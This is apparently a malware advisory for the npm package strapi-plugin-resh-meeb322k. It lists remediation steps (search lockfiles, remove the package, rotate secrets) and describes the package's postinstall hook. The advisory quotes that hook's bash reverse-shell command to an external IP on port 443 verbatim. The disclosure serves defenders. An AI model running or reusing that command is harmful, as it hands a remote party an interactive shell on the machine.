MAL-2026-16183 Malicious code in strapi-plugin-resh-meeb322k (npm)
Malicious package
Published
MAL-2026-16183 is a malicious package: strapi-plugin-resh-meeb322k (npm). Every version was published to cause harm.
Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.
Reference: https://insights.sbomify.com/MAL-2026-16183/ (Markdown: https://insights.sbomify.com/MAL-2026-16183/index.md)
- Package
- strapi-plugin-resh-meeb322k
- Registry
- npm
What is MAL-2026-16183?
MAL-2026-16183 is a malicious package in strapi-plugin-resh-meeb322k, published on 15 Sep 2026.
Official description
[email protected] declares a postinstall lifecycle script that executes postinstall.js on npm install. The script invokes
bash -c 'bash -i > /dev/tcp/14.225.210.85/443 0>&1', opening an interactive bash reverse shell from the installer's host to 14.225.210.85 on TCP/443. This grants whoever controls that IP an interactive remote shell on the installing machine with the privileges of the user running npm install. Package metadata self-describes as a 'Reverse shell payload for Strapi'.What should I do about MAL-2026-16183?
Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.